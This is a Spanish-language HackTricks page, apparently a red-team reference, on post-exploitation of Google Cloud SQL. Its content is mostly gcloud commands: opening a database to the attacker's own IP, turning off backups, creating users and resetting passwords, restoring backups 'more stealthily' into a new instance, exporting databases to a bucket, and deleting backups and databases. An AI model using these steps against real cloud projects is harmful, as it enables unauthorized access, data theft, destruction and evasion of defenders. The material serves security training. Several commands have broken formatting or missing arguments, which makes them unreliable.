GCP - Cloud SQL Post Exploitation

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Cloud SQL

Para más información sobre Cloud SQL consulta:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Para conectarte a las databases solo necesitas acceso al database port y conocer el username y password; no hay requisitos de IAM. Por lo tanto, una forma fácil de obtener acceso, suponiendo que la database tiene una IP pública, es actualizar las redes permitidas y permitir el acceso desde tu propia IP address.

Permite tu IP y conéctate a la database ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quiet

mysql -h <ip_db> # If mysql

With cloudsql.instances.get you can use gcloud directly

gcloud sql connect mysql –user=root –quiet

</details>

También es posible usar **`--no-backup`** para **interrumpir las copias de seguridad** de la base de datos.

Como estos son los requisitos, no estoy completamente seguro de para qué sirven los permisos **`cloudsql.instances.connect`** y **`cloudsql.instances.login`**. ¡Si lo sabes, envía un PR!

### `cloudsql.users.list`

Obtener una **lista de todos los usuarios** de la base de datos:

<details>

<summary>Listar usuarios de la base de datos</summary>
```bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

Este permiso permite crear un nuevo usuario en la base de datos:

Crear usuario en la base de datos ```bash gcloud sql users create --instance --password ```

cloudsql.users.update

Este permiso permite actualizar un usuario dentro de la base de datos. Por ejemplo, podrías cambiar su contraseña:

Actualizar contraseña del usuario ```bash gcloud sql users set-password --instance --password ```

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Las copias de seguridad pueden contener información sensible antigua, por lo que es interesante revisarlas.
Restaurar una copia de seguridad dentro de una base de datos:

Restaurar copia de seguridad de la base de datos ```bash gcloud sql backups restore --restore-instance ```

Para hacerlo de una manera más sigilosa se recomienda crear una nueva instancia SQL y recuperar los datos allí en lugar de en las bases de datos que se están ejecutando actualmente.

cloudsql.backupRuns.delete

Este permiso permite eliminar backups:

Eliminar backup ```bash gcloud sql backups delete --instance ```

cloudsql.instances.export, storage.objects.create

Exportar una base de datos a un Cloud Storage Bucket para que puedas acceder a ella desde allí:

Exportar la base de datos al bucket ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ```

cloudsql.instances.import, storage.objects.get

Importar una base de datos (sobrescribir) desde un Cloud Storage Bucket:

Importar base de datos desde el bucket ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ```

cloudsql.databases.delete

Eliminar una base de datos de la instancia de la base de datos:

Eliminar base de datos ```bash gcloud sql databases delete --instance ```

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks